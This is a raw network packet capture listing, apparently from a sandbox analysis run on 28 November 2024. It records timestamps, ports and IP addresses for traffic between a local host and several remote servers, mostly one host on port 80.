Nov 28, 2024 15:17:40.704436064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.704477072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.704492092 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.704566956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.705568075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.705585003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.705672979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.706548929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.706612110 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.706712008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.707262039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.707632065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.707684994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.707747936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.707844019 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.708214045 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.708275080 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.708291054 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.708828926 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.708843946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.708981991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.709875107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.709922075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.709932089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.709973097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.710942030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.711029053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.711095095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.711281061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.712028027 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.712093115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.712099075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.712344885 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.713133097 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.713165998 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.713202000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.713221073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.714199066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.714217901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.714258909 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.714304924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.715270042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.715332985 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.715388060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.715512037 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.715599060 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.715698957 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.715713978 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.716332912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.716460943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.716479063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.716522932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.717417002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.717478037 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.717509985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.717585087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.718288898 CET	443	49846	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.718528032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.718538046 CET	49846	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.718547106 CET	443	49846	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.718576908 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.718612909 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.718663931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.718883991 CET	443	49846	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.719238997 CET	49846	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.719333887 CET	443	49846	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.719376087 CET	49846	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.719587088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.719667912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.719842911 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.720681906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.720752001 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.720823050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.720952034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.721518040 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.721777916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.721858978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.721858978 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.721895933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.722826958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.722898006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.722939968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.723180056 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.723180056 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.723407984 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.723421097 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.723922014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.723980904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.724009037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.724561930 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.724834919 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.724910021 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.725018024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.725116014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.725126982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.725210905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.726147890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.726212978 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.726257086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.726479053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.727202892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.727269888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.727297068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.727499008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.728358030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.728451967 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.728477955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.729043961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.729415894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.729474068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.729475021 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.729592085 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.730456114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.730514050 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.730525970 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.730571985 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.730793953 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.730865002 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.730874062 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.731565952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.731628895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.731640100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.731770992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.732606888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.732713938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.732781887 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.733683109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.733783007 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.733802080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.733995914 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.734841108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.734853983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.734889030 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.734905005 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.735855103 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.735969067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.736044884 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.736954927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.737020969 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.737075090 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.737992048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.738092899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.738110065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.739142895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.739207029 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.739242077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.739263058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.740242004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.740299940 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.740300894 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.740330935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.740345955 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.740355968 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.740398884 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.741292000 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.741360903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.741398096 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.741554022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.742655993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.742676973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.742741108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.742778063 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.743511915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.743624926 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.743649006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.743673086 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.744565010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.744628906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.744771957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.744815111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.745641947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.745688915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.745781898 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:40.745860100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.745923042 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.746260881 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:40.746335983 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:40.746376991 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.746390104 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.746810913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.746870041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.747993946 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:40.748016119 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:40.748174906 CET	49842	443	192.168.2.6	40.126.53.19
Nov 28, 2024 15:17:40.748202085 CET	443	49842	40.126.53.19	192.168.2.6
Nov 28, 2024 15:17:40.753371954 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.753448963 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.753458023 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.760863066 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.761044979 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.761054039 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.763329983 CET	443	49846	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.768624067 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.769164085 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.769172907 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.776000977 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.776077986 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.776086092 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.779570103 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:40.779844046 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:40.779881001 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:40.780234098 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:40.780617952 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:40.780685902 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:40.780777931 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:40.783471107 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.783586979 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.783595085 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.791218996 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.791408062 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.791419983 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.798655987 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.798753023 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.798760891 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.800088882 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.804474115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.806207895 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.806278944 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.806297064 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.813553095 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.813760996 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.813774109 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.820822954 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.820950031 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.820957899 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.823337078 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:40.823849916 CET	49846	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.827614069 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.827713966 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.827721119 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.834717035 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.834920883 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.834930897 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.848944902 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.848989010 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.849380970 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.849390984 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.849592924 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.850065947 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.853061914 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.853149891 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.853179932 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.853188992 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.853426933 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.855084896 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.855343103 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.855421066 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.855521917 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.855894089 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.855894089 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.922586918 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.922820091 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.922847033 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.924348116 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.938159943 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.938184023 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.938215017 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.938219070 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.938982010 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.938991070 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.942725897 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:41.001617908 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.012429953 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.012458086 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.048949003 CET	443	49845	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.049065113 CET	443	49845	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.049238920 CET	49845	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.049508095 CET	49845	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.049535990 CET	443	49845	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.343070030 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:41.343449116 CET	443	49847	172.64.41.3	192.168.2.6
Nov 28, 2024 15:17:41.343600988 CET	49847	443	192.168.2.6	172.64.41.3
Nov 28, 2024 15:17:41.377057076 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.377110004 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.377127886 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.377126932 CET	443	49846	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.377145052 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.377171040 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.377204895 CET	443	49846	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.377204895 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.377217054 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:41.377237082 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.377254009 CET	49846	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.377276897 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:41.378071070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378083944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378096104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378109932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378120899 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378143072 CET	49846	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.378155947 CET	443	49846	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.378159046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378166914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378180981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378220081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378232002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378232956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378257036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378295898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378309965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378326893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378345966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378348112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378360033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378393888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378423929 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.378431082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378432035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378446102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378482103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378488064 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.378489017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378492117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378503084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378523111 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.378525019 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378542900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378556967 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378568888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378582001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378593922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378596067 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378609896 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378648043 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378648996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378662109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378695965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378710032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378730059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378746033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378762007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378767014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378777981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378815889 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378823042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378837109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378879070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378884077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378896952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378900051 CET	49804	80	192.168.2.6	185.215.113.206
